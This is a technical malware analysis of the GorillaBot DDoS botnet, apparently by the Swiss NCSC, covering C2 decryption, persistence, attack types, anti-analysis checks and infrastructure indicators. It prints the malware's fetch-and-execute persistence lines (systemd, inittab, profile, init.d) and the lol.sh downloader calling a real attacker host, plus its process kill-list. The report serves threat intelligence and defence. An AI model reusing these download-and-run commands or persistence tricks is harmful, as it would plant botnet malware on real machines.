2024-10-10

Technical Analysis of GorillaBot

National Cyber Security Center • **NCSC**

Schweizerische Eidgenossenschaft
Confédération suisse
Confederazione Svizzera
Confederaziun svizra

Swiss Confederation

Bundesamt für Cybersicherheit BACS
Office fédéral de la cybersécurité OFCS
Ufficio federale della cibersicurezza UFCS
National Cyber Security Centre NCSC

Contents

1 Summary

Since September 2024, the National Cyber Security Centre of Switzerland (NCSC) is witnessing an increase in DDoS attacks against national critical infrastructure in Switzerland. According to our intelligence, these DDoS attacks are originating from a DDoS-as-a-service called ”Gorilla”. The attacks were mostly UDP based amplification attacks, apparently using open DNS resolvers. While the recent attacks have temporarily impacted the availability of certain services operated by the victim's organization, the security and confidentially of data or services have not been impacted nor ever been at risk.

Under the name ”Gorilla Services”, an unknown threat actor is selling various services on Telegram, including DDoS-as-a-service where the cheapest plan starts at only a couple of dollars per day. While the service is already in business for quite some time, the amount of DDoS attacks conducted by Gorilla has increased recently. Gorilla offers a Mirai-like DDoS botnet for hire (”GorillaBot”) which contains out of compromised Linux/Unix devices. However, they also offer 10Gbit/s hosting with spoofed uplink, which commonly get used for DDoS attacks as well. As documented by NSFOCUS[1], the number of attacks conducted by GorillaBot has increased rapidly to over 300'000 attacks in September 2024. With this, NSFOCUS considers the threat as ”The New King of DDoS Attacks”.

The NCSC has mapped, together with the affected organizations in Switzerland, the attack infrastructure used by Gorilla and shared the corresponding cyber threat intelligence (CTI) not only with operators of national critical infrastructure in Switzerland but also with international partners. In addition, the NCSC has contacted Telegram, a company operating out of Dubai, and asked them to take actions against the offensive Telegram channel. This apparently resulted in the shut down of the reported Telegram channel. However, we observed that the threat actor has already set up a new Telegram channel and Singal as backup.

With this technical report, we shed some light on the malware used by Gorilla and their DDoS operations.

[1] https://nsfocusglobal.com/over-300000-gorillabot-the-new-king-of-ddos-attacks/

2 GorillaBot malware

2.1 Context of the GorillaBot malware

This technical report is mainly looking at the GorillaBot malware sample with the following hash:

```
0671ab8eb145cea8e6b613b958a817e12d512a24ea1b5a3a2091a3b556c2a900
```

The sample can be found on Malware Bazaar[2]. In addition this technical report also references the following sample associated with GorillaBot:

```
14fb8b3b89c5f626519950882f242dd53889b1067578a9321e721dbf4311a91f
```

This second malware was discovered after a potential takedown of their payload server domain and includes some improved features.

In the next chapter, we will explore key components of the sample, focusing on C2 extraction, how the malware establishes persistence, its DDoS capabilities, and various additional features.

The sample contains additional capabilities that are not covered in this report.

2.2 Command and Control Extraction

The GorillaBot malware sample we are loooking at has hardcoded C2s which can be easily spotted and identified:

```
    strcpy(firstC2, "781535168197");
    strcpy(secondC2, "487154914:1553");
    strcpy(thirdC2, "<41<515791446");
    strcpy(fourthC2, "<614561;81499");
    strcpy(fifthC2, "4;8153;148;14<5");
```

These strings are encrypted using a Caesar cipher with shift 3 that can be easily decrypted with a python script:

```
    def string_decryption(encrypted_string):
        decrypted_chars = []

        for char in encrypted_string:
            decrypted_chars.append(chr(ord(char) - 3))

        return ''.join(decrypted_chars)
```

Using this script with the mentioned input reveals a set of IP addresses which, as a matter of fact, are the botnet C2 servers used by GorillaBot:

```
    45.202.35.64
    154.216.17.220
    91.92.246.113
    93.123.85.166
    185.208.158.192
```

[2]https://bazaar.abuse.ch/sample/0671ab8eb145cea8e6b613b958a817e12d512a24ea1b5a3a2091a3b556c2a900/

By continuously monitoring the evolution of the campaign, we were able to obtain and analyze a fresh malware sample from Gorilla's payload delivery server. Looking at the sample obtained, we noticed that the threat actor made code improvements to GorillaBot. One of the biggest changes made to the code was the implementation of a more sophisticated encryption and decryption routine for its botnet C2 servers. Through additional reverse engineering efforts of the fresh malware sample, we were able to extract the following new botnet C2 IP addresses:

```
154.216.19.139
193.143.1.59
94.156.177.61
185.170.144.84
```

2.3 Persistence mechanism

GorillaBot employs a set of techniques to ensure its persistence on the system which are documented in this chapter.
First of all, the malware initiates a function that sets up the strings used by the persistence mechanism later.

```
strcpy(maliciousUrl, "kwws=22shq1jruloodiluhzdoo1vx2");
strcpy(scriptName, "oro1vk");
```

These strings are hardcoded and decrypted during execution via the previously mentioned Caeser decryption function. The execution of the decryption function on these strings results in the following configuration:

```
http://pen.gorillafirewall.su/
lol.sh
```

These refer to a malicious URL that hosts the GorillaBot payloads, followed by the script name which is executed by the malware's persistence mechanism.
In the second sample we analyzed, a different URL string is used. However, the script name didn't change.

```
strcpy(maliciousUrl, "kwws=22jruloodelq1vx2");
```

Decoding this string again with the Caeser decryption function leads us to the following payload URL:

```
http://gorillabin.su/
```

The sample then creates multiple persistence mechanisms on the host. Basically, this shows that the threat actor uses hardcoded strings in the malware itself., instead of dynamic configuration updates. The threat actor needs to update the whole malware each time the location of the payload URL changes.

The code snippet below documents how the malware creates persistence utilizing the systemd service management system:

```
    file = openFile("/etc/systemd/system/custom.service","w");
        if ( file )
        {
        writeToFile(
            file,
                    "[Unit]\n"
                    "Description=Custom Binary and Payload Service\n"
                    "After=network.target\n"
                    "\n"
                    "[Service]\n"
                    "ExecStart=%s\n"
                    "ExecStartPost=/usr/bin/wget -O /tmp/%s %s\n"
                    "ExecStartPost=/bin/chmod +x /tmp/%s\n"
                    "ExecStartPost=/tmp/%s\n"
                    "Restart=on-failure\n"
                    "\n"
                    "[Install]\n"
                    "WantedBy=multi-user.target\n",
            path,
            scriptName,
            maliciousUrl,
            scriptName,
            scriptName);
        closeFile(v6);
        executeCmd("systemctl enable custom.service >/dev/null 2>&1");
```

Specifically, it creates a malicious service file in the directory /etc/systemd/system/ called custom.service. In this directory, system-wide service unit files are stored, allowing systemd to manage them.
The malicious systemd service unit file is designed to download a payload named lol.sh from a remote server at pen. gorillafirewall .su using the wget command. The payload is saved in the /tmp/ directory, a location commonly used for temporary files. After the download is complete, the file is made executable with the chmod +x command. Afterwards, the said file gets immediately executed.
After that, the malware uses command systemctl enable custom.service >/dev/null 2>&1 to ensure the service is enabled. By doing this, the malware ensures that the malicious service is maintaining persistence across reboots.
Any potential output of the malicious service is suppressed by using >/dev/null 2>&1 to avoid leaving traces of its activities in the system logs.
In addition to creating persistence through a malicious systemd service, the malware employs other methods to ensure it is executed during system startup or user login. These include:

- **/etc/inittab:** By modifying this file, the malware adds a command that is executed by the init system during boot. This method ensures persistence by inserting the malware into the system's initialization process. Malicious code:

  ```
  ::respawn:%s && wget %s -O /tmp/%s && chmod +x /tmp/%s && /tmp/%s\n
  ```

- **/etc/profile:** This file is executed every time a user logs in, making it an effective persistence mechanism. By adding malicious code into /etc/ profile , the malware ensures that it is run for every user, each time they log in, allowing it to persist across user sessions. Malicious code:

```
%s &\nwget %s -O /tmp/%s && chmod +x /tmp/%s && /tmp/%s &\n
```

- **/boot/bootcmd:** By altering the bootloader's configuration, the malware ensures its execution at the earliest stages of system boot. Malicious code:

```
run bootcmd_mmc0; %s && wget %s -O /tmp/%s && chmod +x /tmp/%s &&
   /tmp/%s\n
```

- **/etc/init.d/:** This directory contains service scripts that are executed at startup by older init systems. By placing its own script here, the malware makes sure it runs as a service upon every boot. Malicious script mybinary:

```
#!/bin/sh\n%s &\nwget %s -O /tmp/%s\nchmod +x /tmp/%s\n/tmp/%s &\n
```

As mentioned before, the goal of these persistence mechanisms is to download a malicious script from the hardcoded payload URL and then to execute it.
Let's have a quick look at lol.sh with hash:

```
7a12ee52559aea6a8d3d24f863bc09e22d0ae5ecddfea84aea4c0ff79a7cd336
```

which is used by the persistence mechanisms:

```
    wget http://pen.gorillafirewall.su/arm.nn; chmod +x arm.nn;
       ./arm7.nn mutil.arm
    wget http://pen.gorillafirewall.su/arm5.nn; chmod +x arm5.nn;
       ./arm7.nn mutil.arm5
    wget http://pen.gorillafirewall.su/arm6.nn; chmod +x arm6.nn;
       ./arm7.nn mutil.arm6
    wget http://pen.gorillafirewall.su/arm7.nn; chmod +x arm7.nn;
       ./arm7.nn mutil.arm7
    wget http://pen.gorillafirewall.su/mipsel.nn; chmod +x mipsel.nn;
       ./mipsel.nn mutil.mipsel
    wget http://pen.gorillafirewall.su/mips.nn; chmod +x mips.nn;
       ./mips.nn mutil.mips
    wget http://pen.gorillafirewall.su/x86_64.nn; chmod +x x86_64.nn;
       ./x86_64.nn mutil.x86_64
    wget http://pen.gorillafirewall.su/x86_32.nn; chmod +x x86_32.nn;
       ./x86_32.nn mutil.x86
```

2.4 DDoS functionalities

The main functionalities of the Gorilla Botnet is to launch DDoS attacks. The malware sample contains 18 different DDoS attack types. Based on the structure of the code, there is space for 19 possible attacks, but ID 2 is not implemented yet. This has also been observed and documented by NSFOCUS [1]
The possible DDoS attack types are the following:

ID	Attack Name
0	udp generic
1	udp vse
3	tcp syn
4	tcp ack
5	tcp stomp
6	gre ip
7	gre eth
9	udp plain
10	tcp bypass
11	udp bypass
12	std
13	udp openvpn
14	udp rape
15	wra
16	tcp ovh
17	tcp socket
18	udp discord
19	udp fivem

The attacker can therefore decide which type of attack to launch. In the DDoS attacks we have witnessed against Swiss targets lately, the threat actors where commonly using UDP based DDoS reflection attacks, apparently using open DNS resolvers. An interessting observation we have made here is that the attacker where targeting port 80 UDP on the victim's side. This is rather strange, as commonly port 80 UDP is not used by any popular service (HTTP is using only TCP on port 80).

2.5 Command Detection and Callback

The malware monitors continuously multiple possible commands with the following function:

```
    if ( sysReadlinkWrapper(v51, v46, 256LL) != -1 )
                {
                if ( searchString(v46, cWget[0])
                    || searchString(v46, cCurl[0])
                    || searchString(v46, cPing[0])
                    || searchString(v46, cPs[0])
                    || searchString(v46, cWireshark[0])
                    || searchString(v46, cTcpdump[0])
                    || searchString(v46, cNetstat[0])
                    || searchString(v46, cPython[0])
                    || searchString(v46, cIptables[0])
                    || searchString(v46, cNano[0])
                    || searchString(v46, cNvim)
                    || searchString(v46, off_5179F8)
                    || searchString(v46, cGdb[0])
                    || searchString(v46, cPkill[0])
                    || searchString(v46, cKillall[0])
                    || searchString(v46, cApt) )
                {
                    sys_kill(processId, 9LL);
                    strcpy(ip, "781535168197"); // 45.202.35.64
                    decryptStringCaesar(ip);
                    result = contactC2(ip, 199);
                    ...
                }
```

The sample checks for the following commands:

- wget
- curl
- ping
- ps
- wireshark
- tcpdump
- netstat
- python
- iptables
- nano
- nvim
- gdb
- pkill
- killall
- apt

If one of these commands is found, the malware will kill the process using the sys_kill function. After killing the process, the malware will decrypt the hardcoded botnet C2 IP address and reports to it on port 199:

```
    Found And Killed Process: PID=\%d, Realpath=\%s
```

2.6 Honeypot and Sandbox detection

The GorillaBot sample anaylzed has multiple functions to detect environments that are commonly used by honeypots or sandboxes. What is particular in the sample 14fb8b3b89c5f626519950882f242dd53889b1067578a9321e721dbf4311a91f is a check related to kubepods, which relates to Kubernetes. If the code detects such an environment, execution of GorillaBot will stop.

```
file = openFile("/proc/1/cgroup","r");
  if ( file )
  {
    while ( readLine(&line, 0x100u, file) )
    {
      if ( searchString(&line, "kubepods") )
      {
        closeFile(file);
        printFunction("Container environment detected. Aborting
            execution.");
                exitFunction(1LL)
      }
    }
    closeFile(file);
  }
```

3 GorillaBot infrastructure

In this chapter we will illuminate the infrastructure used by GorillaBot. As you will see, Gorilla is exclusively using TLD .su and prefer to host their infrastructure in Great Britain (GB) and Russia (RU).

3.1 Domains

While investigating Gorilla, we were able to identify infrastructures used by the threat actor for botnet controller and service provisioning of new customers. As mentioned earlier, the threat actor uses Telegram as their main communication and selling channel. In addition to that, they use the following infrastructure to spread their Mirai-Like malware as well as for botnet communication (botnet C2). So far, they were exclusively using domain names they have regsitered in the Top Level Domain space .su, which is TLD of the former soviet union:

- gorillacnc.su
- gorillabin.su
- gorillaservices.su
- gorillafirewall.su
- gorillaproxy.su
- gorilla-api.su

Besides their similar naming scheme, what all these domain names have in common, is that they have been registered through the Russian based domain registrar R01 by a private person with the email address abuse.regsrv@protonmail.com. In addition, they all use Cloudflare DNS as authoritative name server to provide DNS resolution for the botnet C2 domains. All mentioned domain names are not present in the .su

DNS root-zone anymore, which means that they are not resolving at the moment. We do not know whether this is the result of take down efforts of a 3rd party or if the Gorilla infrastructure is having some technical difficulties. Statements made by the threat actor in their Telegram channel suggest that the domain names have been taken down.

3.2 IPs

We were able to map the following IP addresses to the Gorilla botnet, spreading Mirai-like GorillaBot payload.

IP Address	**ASN**	**Country**
154.216.17.182	AS215240 NETRESEARCH	GB
154.216.18.173	AS215240 NETRESEARCH	GB
154.216.19.61	AS215240 NETRESEARCH	GB
154.216.20.14	AS215240 NETRESEARCH	GB
154.216.20.45	AS215240 NETRESEARCH	GB
185.170.144.49	AS197414 XHOST-INTERNET-SOLUTIONS	GB
45.202.35.87	AS215208 DOLPHINNETWORKS	GB
45.88.88.41	AS401120 CHEAPY-HOST	US
46.8.69.32	AS56971 Cloud	HK
94.156.177.68	AS48678 TR-PENTECH-AS	TR
185.170.144.49	AS197414 XHOST-INTERNET-SOLUTIONS	GB
154.216.19.140	AS215240 NETRESEARCH	GB
94.156.177.68	AS48678 TR-PENTECH-AS	TR
46.8.69.32	AS56971 Cloud	HK

The corresponding URLs that serve the GorillaBot payload can usually be easily identified as the initial bash script always has the same name so far (lol .sh), invoking additional downloads using wget.
These payloads commonly have the file extension .nn which is another unique characteristic. The threat actor also deploys separate payloads for different operating system architectures (e.g. x86, arm, etc).

We were also able to identify the following IP addresses used to serve a proxy API to their customers:

IP Address	Port (TCP)	ASN	Country
193.143.1.61	80	AS198953 PROTON66	RU
193.143.1.70	80	AS198953 PROTON66	RU
193.143.1.66	7070	AS198953 PROTON66	RU
193.143.1.56	7070	AS198953 PROTON66	RU
193.143.1.62	7070	AS198953 PROTON66	RU
185.170.144.85	7070	AS197414 XHOST-INTERNET-SOLUTIONS	GB
154.216.19.146	7070	AS215240 NETRESEARCH	GB
94.156.177.62	7070	AS214943 VIRTUALINE_TECHNOLOGIES	NL

The following IP addresses are used for botnet communication (botnet C2):

IP Address	Port (TCP)	ASN	Country
93.123.85.166	38241	AS216240 MORTALSOFT	GB
45.202.35.64	38241	AS215208 DOLPHINNETWORKS	GB
154.216.19.139	38242	AS215240 NETRESEARCH	GB
154.216.17.220	38241	AS215240 NETRESEARCH	GB
193.143.1.59	38242	AS198953 PROTON66	RU
94.156.177.61	38242	AS48678 TR-PENTECH-AS	TR
185.170.144.84	38242	AS197414 XHOST-INTERNET-SOLUTIONS	GB

A list of GorillaBot payload delivery URLs is available on URLhaus:

- `https://urlhaus.abuse.ch/browse/tag/GorillaBotnet/`

4 Actions & Recommendations

The NCSC took the following Actions:

- The NCSC has shared the TTPs and IOCs associated with Gorilla with its national and international partners.
- In addition, IOCs have been made available on our Github[3]
- In addition, we have spoken out recommendations on how to mitigate potential DDoS attacks.
- We reported the Telegram channel used by Gorilla to Telegram Group, who eventually shut down the reported Telegram channel
- Further recommendations on how to mitigate DDoS attacks are available on the NCSC website[4]

If you have questions or feedback on our report please feel free to reach out to us at outreach@govcert.ch

[3]https://github.com/govcert-ch/CTI/tree/main/20241010_GorillaBot/
[4]https://www.ncsc.admin.ch/ncsc/en/home/cyberbedrohungen/ddos.html